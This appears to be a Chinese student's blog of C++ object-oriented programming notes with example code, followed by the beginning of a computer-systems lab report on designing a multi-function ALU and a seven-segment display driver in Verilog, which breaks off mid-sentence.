13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


#include <iostream> //>
using namespace std;

class A {
 friend class B;

public:
 void display() { cout << x << endl; }

private:
 int x;
};

class B {
public:
 void set(int i);
 void display();

private:
 A a;
};

void B::set(int i) {
 a.x = i; // Accessing private member of class A
}

void B::display() {
 a.display(); // Calling display method of class A
}

int main() {
 B a;
 a.set(1);
 a.display();
 return 0;
}

最后打印a.x为B访问的A成员的x, 也就是1

友元关系是单向的，我们在A中设置B类是A类的友元，B类的成员函数可以访问A类的私有和保护数据，但是A类的成员函数不能访问B类的私有、保护数据

共享数据保护

⭐在一些情况下，对于既需要共享、又需要改变的数据我们就设置为常类型 const（这东西你会看到很多次的）
对于不改变对象状态的成员函数都应该声明为常函数

常对象

必须进行初始化，不会被更新
const 类名对象名

1
2
3
4
5
6
7
8
9


class A{
public:
 A(int i,int j) {x=i;y=j;}
 ...
private:
 int x,y;
};

const A a(3,4); //常对象a,不会被更新

常成员、常引用和常成员函数

常成员 用const进行修饰的类成员

常数据成员
常函数成员

常数据成员要么直接初始化，要么在构造函数里初始化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


#include <iostream>
using namespace std;
class A {
public:
 A(int i) : a(i) {}
 void print();

private:
 const int a; // const int a=10就可初始化
 static const int b; // 静态常数据成员
};
const int A::b = 10;

void A::print() { cout << a << ":" << b << endl; }

int main() {
 A a1(100), a2(0);
 a1.print();
 a2.print();
 return 0;
}

常引用
const 类型说明符 &引用名

常引用的被引用对象不能被更新
常引用做形参就不会 意外发生对实参的修改 对上文友元函数进行修改
friend float dist(const Point &p1,const Point &p2);这样引入的参数必然是安全常态的

常成员函数
类型说明符函数名（参数表） const;

使用关键字说明的函数
不更新对象的数据成员
const关键字被用于参与对重载函数的区分

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


#include <iostream>
using namespace std;
class R {

public:
 R(int r1, int r2) : r1(r1), r2(r2) {};
 void print();
 void print() const;

private:
 int r1, r2;
};
void R::print() { cout << r1 << ":" << r2 << endl; }
void R::print() const { cout << r1 << ";" << r2 << endl; }
int main() {
 R a(5, 4);
 a.print(); // Calls the non-const version
 const R b(20, 52);
 b.print(); // Calls the const version
 return 0;
}

通过常对象只能调用它的常成员函数，所以是要一一配对的

指针常量和常量指针

指针常量——指针本身的值不能被改变

1
2
3
4


int a;
int* const p2=&a;
int b;
p2=&b;//❌p2为常量指针不能修改

常量指针——不能通过指针修改所指对象的值，但指针本身可以修改指向别的对象

1
2
3
4
5


int a;
const int *p1=&a; //p1是指向常量的指针
int b;
p1=&b;//✔
*p1=1;//❌

1
2
3
4
5
6
7


int* const p;//p所指地址不能被修改
int const *p;//p所指位置可以修改，但是不能通过*p=...来修改所指向地址的值，但是可以指向另一个地址
const int *p; //同第二个

int a=2;
int const &b=a;//b不能改，只能a=2实现修改
const int* f();//返回的指针所指向的值不能通过该指针修改

指针⭐

赋值

“地址”存放与指针类型相符合的值
指针变量所赋的值必须是地址常量或变量（不可以是普通整数）。但可以赋值为整数0来表示空指针
指针类型与其所指向变量类型相同，任何一个指针本身数据值都是unsigned long int(地址是64位的，8字节)
void类型可声明。该指针会被赋予任何类型对象地址，使用时必须指定类型

1
2
3
4


int num=0;
void *prt;
prt=&num;
printf("%d\n",*((int*)ptr));

运算

指针p+n表示指针指向位置的前后n个数据的地址 ->p[n]=*(p+n)

指针作为函数参数：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


#include <iostream>
using namespace std;
void split(float x, int *intpart, float *fracpart) {
 *intpart = int(x);
 *fracpart = x - *intpart;
}
int main() {
 float x, f;
 int n;
 cin >> x;
 split(x, &n, &f);
 cout << "Integer part: " << n << endl << "fractional part: " << f << endl;
 return 0;
}

对象指针

声明：类名 *对象指针名

1
2
3


Point a(5,10);
Point *prt;
ptr=&a;

访问的话

1
2
3
4
5
6


void main(){
Point a(4,5);
Point *p1=&a;
cout<<p1->getX()<<endl;//指针访问
cout<<a.getX()<<endl; //对象名访问
}

this指针

隐含于每⼀个类的成员函数中的特殊指针
明确地指出了成员函数当前所操作的数据所属的对象。
当通过⼀个对象调⽤成员函数时，系统先将该对象的地址赋给this指针，然后调⽤成员函数，成员函数对对象的数据成员进⾏操作时，就隐含使⽤了this指针。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


#include <iostream>
using namespace std;
class Point {
public:
 Point(int x = 0, int y = 0) : x(x), y(y) {}
 int getX();
 int getY();

private:
 int x, y;
};
int Point::getX() {
 return this->x; // return x;
}
int main() {
 Point p(3, 4);

 cout << p.getX() << endl;

 return 0;
}

函数指针

type (*fp)(tyep1,type2);

示例：int (*fp)(int int)
可将其他匹配函数赋予fp, 则fp可调⽤此函数两个案例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


#include <iostream>
using namespace std;
int (*fp)(int, int);
int add(int a, int b) { return a + b; }
int main() {
 int x = 2, y = 3;
 fp = add; // 这⾥&add也可以
 cout << (*fp)(x, y) << endl;
 return 0;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


#include <iostream>
using namespace std;
int (*fp)(int, int);
int fun1(int x, int y, int (*fp)(int, int)) { return (*fp)(x, y); }
int max(int x, int y) { return x > y ? x : y; }
int min(int x, int y) { return x < y ? x : y; }
int add(int x, int y) { return x + y; }
int sub(int x, int y) { return x - y; }
int main() {
 int x = 4, y = 1;
 cout << "max(x, y) = " << fun1(x, y, max) << endl; // 这⾥max和&max都可以
 cout << "min(x, y) = " << fun1(x, y, min) << endl;
 cout << "add(x, y) = " << fun1(x, y, add) << endl;
 cout << "sub(x, y) = " << fun1(x, y, sub) << endl;
 return 0;
}

继承与派生

保持已有类的特性⽽构造新类的过程称为继承
在已有类的基础上新增⾃⼰的特性⽽产⽣新类的过程称为派⽣，新类为 派生类
被继承的已有类称为基类(或⽗类)
继承目的——代码重用
派生目的——新的问题出现，原有程序⽆法解决或不能完全解决时，需要对原有程序进⾏改造

单继承和多继承

派生类只从单个基类派生——单继承（树状结构）

派生类有两个或以上的基类——多继承

派生类的声明和生成

1
2
3
4


class 派生类名：继承方式1 基类名1,继承方式2 基类名2,...
{
 成员声明;
}

例子：

1
2
3
4
5
6


class Derived:public Base1,private Base2
{
public:
 Derived();
 ~Derived();
}

生成过程：
- 吸收基类成员，派⽣类就包含了它的全部基类中除构造函数和析构函数之外的所有成员。
- 改造基类成员，如果派⽣类声明了⼀个和某基类成员同名的新成员（如果是成员函数，则参数表也要相同，参数不同的情况属于重载），派⽣类的新成员就覆盖了外层同名成员
- 添加新的成员，派⽣类新成员的加⼊是继承与派⽣机制的核⼼，是保证派⽣类在功能上有所发展 ^87738a
访问控制：
- 不同继承方式有三种，区别体现在访问权限上——派生类成员对基类成员的访问权限和通过派生类对象对基类成员的访问权限

不同的继承方式

公有继承public
私有继承private（默认）
保护继承protected

公有继承

基类public和protected成员的访问属性在派生类中保持不变，基类private成员不可直接访问
派生类成员函数可以直接访问基类中的public和protected成员，但不能直接访问private成员
通过派生类对象只能访问基类public成员

类成员访问属性

public：任意访问（类内，类外）
private：只能被本类成员函数访问、类的友元除外（即类内可访问、类外不行）
protected：本类及派生类的成员函数访问（类内可访问、派生类可访问、类外不行） private>protected>public
日常使用——public（想想也是用的最多的）
protect和private区别要牢记，见图

派生类的构造函数

基类构造函数不继承，要自己写

写的时候只需对本类中新增成员初始化，对继承得到的基类成员初始化，
自动调用基类构造函数完成如果基类没有默认构造函数，那么一定要调用基类的带参数的构造函数

派生类的构造函数要给基类的构造函数 传递参数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


#include <iostream>
using namespace std;
class B {
public:
 B(int i); //没有默认构造函数，只有一个带参数的构造函数
 ~B();
 void print() const;

private:
 int b;
};
B::B(int i) { b = i; }
B::~B() {}
void B::print() const { cout << "b = " << b << endl; }
class C : public B {
public:
 C(int i);
 C(int i, int j);
 ~C();
 void print() const;

private:
 int c;
};
C::C(int i) : B(i) { c = 0; }
C::C(int i, int j) : B(i), c(j) {} //传递参数给基类
C::~C() {}
void C::print() const {
 B::print(); // 重名函数调用,输出下面赋的b
 cout << "c = " << c << endl;
}
int main() {
 C obj(5, 6);
 obj.print();
 return 0;
}

多继承时构造函数调用顺序

对于继承的基类成员，先调用基类构造函数，调用顺序按照它们 被继承时 声明的顺序（从左向右）
对本类成员初始化列表中的基类成员和对象成员进行初始化，初始化顺序按照它们在类中声明顺序。对象成员初始化自动调用对象所属类的构造函数完成
执行派生类的构造函数中内容

派生类的析构函数

析构函数不被继承，自行声明
声明方法与一般类的析构函数相同
不需要显式调用基类析构函数，系统会自动调用
顺序上先执行派生类的，再调用基类的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


#include <iostream>
using namespace std;
class Base1 {
public:
 Base1(int i) { cout << "constructing Base1 " << i << endl; }
 ~Base1() { cout << "Destructing Base1" << endl; }
};
class Base2 {
public:
 Base2(int j) { cout << "constructing Base2 " << j << endl; }
 ~Base2() { cout << "Destructing Base2" << endl; }
};
class Base3 {
public:
 Base3() { cout << "constructing Base3 * " << endl; }
 ~Base3() { cout << "Destructing Base3" << endl; }
};

class Derived : public Base2, public Base1, public Base3 {
public:
 Derived(int a, int b, int c, int d)
 : Base1(a), member2(d), member1(c), Base2(b) {}

private:
 Base1 member1;
 Base2 member2;
 Base3 member3;
};

int main() {
 Derived obj(1, 2, 3, 4);
 return 0;
}

析构和构造顺序相反

派生类和基类成员出现同名

若无特别限定，则通过派生类对象使用的是派生类中的同名成员
如要通过派生类对象访问基类中被隐藏的同名成员，应该使用基类名和作用域操作符（:: ）来限定

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


#include <iostream>
using namespace std;
class Base1 {
public:
 int var;
 void fun() { cout << "Memeber of Base1" << endl; }
};
class Base2 {
public:
 int var;
 void fun() { cout << "Member of Base2" << endl; }
};
class Derived : public Base1, public Base2 {
public:
 int var;
 void fun() { cout << "Member of Derived" << endl; }
};

int main() {
 Derived d;
 Derived *p = &d;

 d.var = 1; //对象名.成员名
 d.fun();//访问Derived对象 第一个fun,默认derived

 d.Base1::var = 2; //作用域操作符标识
 d.Base1::fun();//访问Base1基类成员 第二个fun

 p->Base2::var = 3;//作用域操作符标识进行访问
 p->Base2::fun();//访问Base2基类成员 第三个fun
 return 0;
}

基类成员同名

当派⽣类从多个基类派⽣，⽽这些基类⼜从同⼀个基类派⽣，则在访问此共同基类中的成员时，将产⽣⼆义性，那么应该怎么办呢？请看下面虚基类

举例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


#include <iostream>
using namespace std;
class Base0 {
public:
 int var0;
 void fun0() { cout << "member of Base0" << endl; }
};
class Base1 : public Base0 { // 第一个派生基类
public:
 int var1;
 void set1() { var0 = 1; }
};
class Base2 : public Base0 { // 第二个派生基类
public:
 int var2;
 void set2() { var0 = 2; }
};
class Derived : public Base1, public Base2 { // 派生类
public:
 int var;
 void set3() { Base1::var0 = 0; }
 void fun() { cout << "Member of Derived" << endl; }
};
int main() {
 Derived x;
 x.set1();
 x.set2();
 cout << x.Base1::var0 << endl;
 cout << x.Base2::var0 << endl;
 cout << x.var0 << endl; // 访问Base1的var0，但是这里会出现二义性错误,base1和base2都设置过var0,因此编译器无法理解是哪个var0了
 return 0;
}

因此也会导致编译错误

也可以看这个图，更详细

虚基类

引入：用于有共同基类的场合
声明：以virtual修饰说明，例如：class B1:virtual public B
作用：
- 解决多继承可能发生的对同一基类继承多次导致的二义性问题
- 为最远派生类提供唯一基类成员而不重复多次拷贝我们对源代码进行少量修改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


#include <iostream>
using namespace std;
class Base0 {
public:
 int var0;
 void fun0() { cout << "member of Base0=" <<var0<< endl; }
};
class Base1 : virtual public Base0 { // 第一个派生基类
public:
 int var1;
 void set1() { var0 = 1; }
};
class Base2 : virtual public Base0 { // 第二个派生基类
public:
 int var2;
 void set2() { var0 = 2; }
};
class Derived : public Base1, public Base2 { // 派生类
public:
 int var;
 void fun() { cout << "Member of Derived" << endl; }
};
int main() {
 Derived x;
 // x.set1();
 // x.set2();
 // cout << x.Base1::var0 << endl;
 // cout << x.Base2::var0 << endl;
 // cout << x.var0 << endl; // 访问Base1的var0
 x.var0 = 2; // 直接访问虚基类的数据成员
 x.fun0(); // 直接访问虚基类的函数成员
 return 0;
}

没有二义性！因为现在无论从 Base1 还是 Base2 继承的路径最终都共享这一个虚基类的成员。这时候只有唯一的var0存在，被两个派生同时指向

虚基类及其派⽣类构造函数

建立对象时所指的最远类——最远派生类
虚基类成员由最远派生类的构造函数调用了虚基类的构造函数进行初始化
建立对象的时候，只有最远派生类的构造函数调用虚基类的

构造函数调用函数
先看这张图

同一层中，先调用虚基类，再调用非虚基类的（BCD相比：先C D再B）
同一层中有多个虚基类，按照它们在继承方式中的声明次序调用（CD相比，则按声明顺序在E中声明）
基类由非虚基类派生，则先调用基类的，再按派生类中执行顺序调用（如AD相比，先A后D）

多态与多态性

多态

即操作接口具有表现多种形态的能力，可以根据不同操作环境采用不同处理方式

分类：按时机编译时多态和运行时多态分为两种，另有分类
- 重载多态：函数重载，运算符重载
- 强制多态：强制类型转换
- 包含多态：不同类中的同名成员函数
- 参数多态：函数模板、类模板
目的：实现行为标示统一而减少程序中标识符的个数
具体实现方式：重载函数和虚函数

多态性：用一个名字定义不同的函数，执行不同而相似的操作从而可以使用相同的调用方式来调用不同功能的同名函数
以下是多种不同的多态声明方式

1
2
3
4


//强制多态
double Add(int x,double y){
 return x+y;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


//不同类中的同名成员函数
class Base{
 public:
 void Show();
}

class Derived:public Base //Derived公有继承于Base
{
 public:
 void Show();
}

1
2
3
4
5
6
7
8
9


//module of functions参数多态
template<class T>
T Add(T x,T y)

int a=0lint b=1;int c;
int d=3.0;int e=4.5;int f;

c=Add(a,b);
f=Add(d,e);

关于多态的实现

编译时的多态（功能先绑定）
- 编译过程中就确定同名操作的具体操作对象（函数重载、强制多态、参数多态）
运行时的多态（功能后绑定）
- 运行过程中动态确定同名操作的具体操作对象（包含多态——虚函数）

运算符重载

^a8d5d6

C++几乎可重载所有运算符
. :: ?:等不可
重载后运算符优先级结合性不变
分为类成员函数重载和非成员函数重载

重要代码之复数计算

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


#include <bits/stdc++.h>
using namespace std;
class Complex {
private:
 double real, imag;

public:
 Complex(double r = 0, double i = 0) : real(r), imag(i) {}

 Complex operator+(const Complex &other) const {
 return Complex(real + other.real, imag + other.imag);//会创建一个临时无名对象作为返回值
 }

 Complex operator-(const Complex &other) const {
 return Complex(real - other.real, imag - other.imag);
 }

 void display() const { cout << real << " + " << imag << "i" << endl; }
};

int main() {
 Complex c1(3, 4), c2(1, 2);

 Complex sum = c1 + c2;
 Complex diff = c1 - c2;

 cout << "a+b = ";
 sum.display();

 cout << "a-b = ";
 diff.display();
 return 0;
}

重载为成员函数

函数类型 operator 运算符（形参） 注意参数个数为原操作个数-1（存在特例双目运算符）

双目运算符

如果要重载B为类成员函数，使之能够实现 a1 B a2 其中a1为A类对象，则B应被重载为A类的成员函数，形参类型为a2所属类型
重载后，a1 B a2 = a1.operator B(a2)

前置单目运算符

如果要重载U为类成员函数，使之能够实现U a，其中a为A类对象，则U应该被重载为A类的成员函数，注意无形参
经重载后，表达式U a相当于a.operator U() 例如：重载一个复数类的"-"

后置单目运算符++ –

若要重载++或–为类成员函数，使之能够实现表达式 a++ a--。其中a为A类对象，则++或–应被重载为A类的成员函数，有一个int类型形参
重载后，a++相当于a.operator ++(0) 示例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66


#include <iostream>
using namespace std;
class Clock {
public:
 Clock(int h = 0, int m = 0, int s = 0) : hour(h), minute(m), second(s) {}
 // 构造函数
 void showTime() const;
 Clock operator+(const Clock &x) const;
 Clock &operator++();
 Clock operator++(int);
 void set(int h, int m, int s) {
 hour = h;
 minute = m;
 second = s;
 }

private:
 int hour, minute, second;
};
void Clock::showTime() const {
 cout << hour << ":" << minute << ":" << second << endl;
}
Clock &Clock::operator++() { //前置运算符++重载
 second++;
 if (second >= 60) {
 second -= 60;
 minute++;
 if (minute >= 60) {
 minute -= 60;
 hour = (hour + 1) % 24;
 }
 }
 return *this;
}
Clock Clock::operator++(int) {
 Clock temp = *this; // 后置单目++重载
 ++(*this); // 调用前置++，实现了返回old的同时进行了++
 return temp;
}
Clock Clock::operator+(const Clock &x) const {
 Clock temp;
 temp.hour = hour + x.hour;
 temp.minute = minute + x.minute;
 temp.second = second + x.second;
 while (temp.second >= 60) {
 temp.second -= 60;
 temp.minute++;
 }
 while (temp.minute >= 60) {
 temp.minute -= 60;
 temp.hour++;
 }
 return temp;
}
int main() {
 Clock c1, c2;
 c1.set(1, 3, 2);
 c2.set(1, 6, 3);
 c1++;
 ++c2;
 c1.showTime();
 c2.showTime();
 Clock c3 = c1 + c2;
 c3.showTime();
 return 0;
}

重载为非成员函数

函数形参代表依次从左向右排列的各操作数
⭐后置单目运算符++和–的重载函数，形参列表要增加一个int, 但不需要形参名
在运算符的重载函数中需要操作某类对象私有成员，可以将函数声明为该类的友元 (friend Clock operator+(const Clock &c1, const Clock &c2);)这样就可以访问内部private成员（当然不是Clock没问题，这里方便才这么写）

还是用复数当实例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58


#include <bits/stdc++.h>
using namespace std;
class Complex {
private:
 double real, imag;

public:
 Complex(double r = 0, double i = 0) : real(r), imag(i) {}
 friend Complex operator+(const Complex &c1, const Complex &c2);
 friend Complex operator+(const double &c1, const Complex &c2);
 friend Complex operator*(const Complex &c1, const Complex &c2);
 friend Complex operator++(Complex &c1);
 friend Complex operator++(Complex &c1, int); // 后置

 void display() const { printf("%lf %lf\n", real, imag); }
};

Complex operator+(const Complex &c1, const Complex &c2) {
 return Complex(c1.real + c2.real, c1.imag + c2.imag);
};

Complex operator+(const double &c1, const Complex &c2) {
 return Complex(c1 + c2.real, c2.imag);
}

Complex operator*(const Complex &c1, const Complex &c2) {
 return Complex(c1.real * c2.real - c1.imag * c2.imag,
 c1.real * c2.imag + c1.imag * c2.real);
}
Complex operator++(Complex &c1) {
 c1.real++;
 return c1;
}
Complex operator++(Complex &c1, int) {
 Complex temp = c1; // 保存当前值
 c1.real++;
 return temp;
}

int main() {
 Complex c1(5, 4), c2(2, 10), c3;
 cout << "c1 = ";
 c1.display();
 cout << "c2 = ";
 c2.display();

 c3 = c1 + c2;
 cout << "c3 = c1 + c2 = ";
 c3.display();

 c3 = c1 * c2;
 cout << "c3 = c1 * c2 = ";
 c3.display();

 c3++;
 c3.display();
 return 0;
}

虚函数

用virtual关键字说明的函数
虚函数是实现运行时多态的基础
c++的虚函数是动态绑定的函数，并且虚函数必须是 非静态的函数，经过派生后，实现运行过程中的多态
而派生类中虚函数的机制使得可以对基类中的成员函数进行覆盖（也就是重定义）声明：

1
2
3


virtual 函数类型 函数名 （形参表）{
 函数体
}

实例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


#include <iostream>
using namespace std;
class Base1 { // 基类
public:
 virtual void
 show() const; // 虚函数，可以试着把virtual去掉看看没有虚函数是什么效果
};
void Base1::show() const { cout << "Base1::show()" << endl; }
class Base2 : public Base1 {
public:
 void
 show() const; // 想要覆盖基类的虚函数，参数和返回值以及是否为const必须一致
};
void Base2::show() const { cout << "Base2::show()" << endl; }
class Derived : public Base2 {
public:
 void show() const; // 这是一个普通成员函数，不是虚函数
};
void Derived::show() const { cout << "Derived::show()" << endl; }
void fun(Base1 *ptr) { // 参数为指向基类对象的指针
 ptr->show(); // 调用的是Base1的虚函数
}
int main() {
 Base1 base1;
 Base2 base2;
 Derived derived;
 fun(&base1);
 fun(&base2);
 fun(&derived);
 base1.show(); // 调用Base1的虚函数
 derived.show(); // 调用Derived的普通成员函数
 return 0;
}

如果去掉了virtual是这样的
所有通过基类指针的 ptr->show() 将在编译时绑定为 Base1::show()，即不会发生多态。而如果声明virtual则会因为覆盖动态绑定成员实现调用重写(override)后的函数，而不是基类的函数

不过c++ 11后就可以通过

1
2
3


class Derived : public Base {
 void show() const override; // 编译器会检查是否正确重写
};

彻底检查是否重写成功

虚析构函数

需求原因：可能通过基类指针删除派⽣类对象；
如果打算允许基类指针调用对象的析构函数（例如使用delete函数），就需要让基类的析构函数成为虚函数，否则执行delete结果不确定

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


#include <iostream>
using namespace std;
class Base {
public:
 ~Base(); // vitrual ~Base();如果定义成虚函数就可以调用对应的析构函数
 // 否则调用fun函数时调用基类的析构函数
};

Base::~Base() { cout << "Base destructor" << endl; }

class Derived : public Base {
public:
 Derived();
 ~Derived();

private:
 int *p;
};

Derived::Derived() { p = new int(0); }

Derived::~Derived() {
 cout << "Derived destructor" << endl;
 delete p;
}

void fun(Base *b) { delete b; }

int main() {
 Base *b = new Derived();
 fun(b);
 return 0;
}

若不将析构函数声明为虚函数则

若改为virtual则

想象你通过电话（基类指针）打给一个人（对象），你以为对面接的是总机（Base），结果其实是某个部门（Derived）。
只有把析构函数设成虚函数时，程序才知道去问总机：“你代表的是哪个部门？”，才能正确转接给那个部门来处理资源销毁。

纯虚函数

纯虚函数是一个在基类中声明的虚函数，它在该基类中没有定义具体的操作内容，要求各派生类根据实际需要定义自己的版本，纯虚函数的声明格式为
virtual 函数类型函数名（参数表）=0 相当于每个汉堡店都要有汉堡，但汉堡只有一个定义而没有具体实现，不同的店要做的就是将派生的汉堡进行具体的实现和定义一些操作

带有纯虚函数的类被称为抽象类作用：
抽象类为抽象和设计的⽬的⽽声明，将有关的数据和⾏为组织在⼀个继承层次结构中，保证派⽣类具有要求的行为。
对于暂时⽆法实现的函数，可以声明为纯虚函数，留给派⽣类去实现。

注意

不能声明抽象类对象
构造函数不能是虚函数，而析构函数可以是虚函数

实例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66


#include <cmath>
#include <iostream>
using namespace std;

class Shape {
protected:
 int n;
 double *data;

public:
 Shape(int num) : n(num) { data = new double[n]; }
 virtual ~Shape() { delete[] data; }
 virtual double getArea() const = 0;
 virtual double getPerim() const = 0;
};

class Rect : public Shape {
public:
 Rect(double length, double width) : Shape(2) {
 data[0] = length;
 data[1] = width;
 }

 double getArea() const { return data[0] * data[1]; }

 double getPerim() const { return 2 * (data[0] + data[1]); }
};

class Circle : public Shape {
public:
 Circle(double radius) : Shape(1) { data[0] = radius; }

 double getArea() const { return M_PI * data[0] * data[0]; }

 double getPerim() const { return M_PI * data[0] * 2; }
};

class Tri : public Shape {
public:
 Tri(double a, double b, double c) : Shape(3) {
 data[0] = a;
 data[1] = b;
 data[2] = c;
 }

 double getArea() const {
 double p = getPerim() / 2;
 return sqrt(p * (p - data[0]) * (p - data[1]) * (p - data[2])); // 海伦公式
 }

 double getPerim() const { return data[0] + data[1] + data[2]; }
};

void fun(Shape *ptr) {
 cout << ptr->getArea() << " " << ptr->getPerim() << endl;
}

int main() {
 Rect rec(3, 4);
 fun(&rec);
 Circle cir(3);
 fun(&cir);
 Tri tri(3, 4, 5);
 fun(&tri);
 return 0;
}

计算机系统-多功能 ALU 运算器设计实验

Tue, 03 Jun 2025 13:27:00 +0000

实验报告

实验目的：

学习多功能 ALU 的工作原理
掌握采用行为建模方式编程实现运算器的设计方法
学习利用顶层模块来协助实现板级验证的方法

逻辑程序设计

模块设计：

顶层模块为ALU_TOP，其中引入ALU_FUN和Display三个模块

以下为顶层模块输入输出信号，实例化另外两个模块的时候也使用顶层模块信号

输入 (Inputs):

Clk，时钟信号（控制ABF输入信号的显示和选择、ALU_OP信号的激活）
Button[2:0]: 选择信号，从2-0分别控制ABF三个的输入，
Reset：复位信号，ABF全部归零便于不同数据的输入和调试
Switch_reg[31:0]：32位信号，对应ABF，通过Button[2:0]来决定目前32位对应的信号是哪个；在选择到F的时候同时对应到ALU_OP信号来进行运算

输入 (Outputs)：:

Led[31:0]用于输出ZF OF信号（低二位）
Enable：使能信号（默认为1，有效）
Seg_decode[7:0]：译码后数码管分组显示信号的控制信号

逻辑程序源代码

OF考虑到溢出符号判断的第一种方法OF= C31⊕C32，AB操作数符号相同才可能发生溢出；通过F31判定符号位的同时结合C32判断进位完成溢出判定所以我们进行运算时留出32位来进行进位判定

分为三个模块
ALU_FUN模块：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


`timescale 1ns / 1ps
module ALU_FUN(
 input [31:0] A,
 input [31:0] B,
 input [3:0] ALU_OP, // 如题，用4根控制线来选择16种运算功能
 output reg [31:0] F,
 output ZF,
 output OF
);

assign ZF = (F == 32'b0); //零标志 Zero Flag

//补码加减法判定
wire [32:0] sum = {1'b0,A} + ((ALU_OP[3]) ? {1'b0,~B}+32'b1 : {1'b0,B});
wire C32 = sum[32]; // 第32位，用于判定

// overflow flag
assign OF = (ALU_OP == 4'b0000) ? // ADD overflow
 ((A[31] == B[31]) && (F[31] != A[31])) :
 (ALU_OP == 4'b1000) ? // SUB overflow
 ((A[31] != B[31]) && (F[31] != A[31])) :
 1'b0;


wire signed [31:0] A_signed=A;
wire signed [31:0] B_signed=B;

always @(*) begin
 case (ALU_OP)
 4'b0000: F = A + B; //ADD
 4'b0001: F = A<<B[4:0]; // sll(shift left logical)，只需要5位可以表示所有位数
 4'b0010: F = (A_signed < B_signed) ? 32'b1 : 32'b0; //slt(signed less than)有符号比较
 4'b0011: F = (A < B) ? 32'b1 : 32'b0; //sltu(unsigned less than)无符号比较
 4'b0100: F = A ^ B; //xor
 4'b0101: F = A >> B[4:0]; //srl(shift right logical)
 4'b0110: F = A | B; //or
 4'b0111: F = A & B; //and
 4'b1000: F = A - B; //sub
 4'b1001: F = A + 1; //inca
 4'b1010: F = A; //outa
 4'b1011: F = B+1;// incb
 4'b1100: F = 32'b0; //out0
 4'b1101: F = A_signed>>>B[4:0]; //sra
 default: F = 32'b0;
 endcase
end

endmodule

Display:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


`timescale 1ns / 1ps
module Display(
 input clk, // 50MHz主时钟
 input [31:0] data, // 32位显示数据
 output reg [2:0] which, // 3:8译码器输入
 output enable, // 译码器使能
 output reg [7:0] seg_decode // 段选信号
);

// 分频计数器（2.5ms/数码管，分频实现整体刷新率50MHz）
reg [16:0] cnt;

// 数码管选择计数器（0-7循环）
always @(posedge clk) begin
 if(cnt == 17'd124_999) begin // 50MHz/(8*50Hz)=125000
 cnt <=0;
 which <= (which == 3'd7) ? 3'd0 : which + 1;
 end else begin
 cnt <= cnt+1;
 end
end

// 当前显示的数字选择
wire [3:0] digit = data[31-which*4 -: 4]; // 每4位一组

// 7段译码器（共阳极低电平有效）
always @(*) begin
 case(digit)
 4'h0: seg_decode = 8'b0000_0011; // 0
 4'h1: seg_decode = 8'b1001_1111; // 1
 4'h2: seg_decode = 8'b0010_0101; // 2
 4'h3: seg_decode = 8'b0000_1101; // 3
 4'h4: seg_decode = 8'b1001_1001; // 4
 4'h5: seg_decode = 8'b0100_1001; // 5
 4'h6: seg_decode = 8'b0100_0001; // 6
 4'h7: seg_decode = 8'b0001_1111; // 7
 4'h8: seg_decode = 8'b0000_0001; // 8
 4'h9: seg_decode = 8'b0000_1001; // 9
 4'hA: seg_decode = 8'b0001_0001; // A
 4'hB: seg_decode = 8'b1100_0001; // B
 4'hC: seg_decode = 8'b0110_0011; // C
 4'hD: seg_decode = 8'b1000_0101; // D
 4'hE: seg_decode = 8'b0110_0001; // E
 4'hF: seg_decode = 8'b0111_0001; // F
 default: seg_decode = 8'b1111_1111; //全灭
 endcase
end

assign enable = 1'b1; // 常使能译码器

endmodule

分频这里cnt是一个17位计数器，从0计数到124,999（共125,000个时钟周期），默认设置clk周期50mhz

扫描周期：
- 每个数码管显示时间 = 125,000 × 20ns = 2.5ms
- 8个数码管完整扫描周期 = 8 × 2.5ms = 20ms
刷新率：
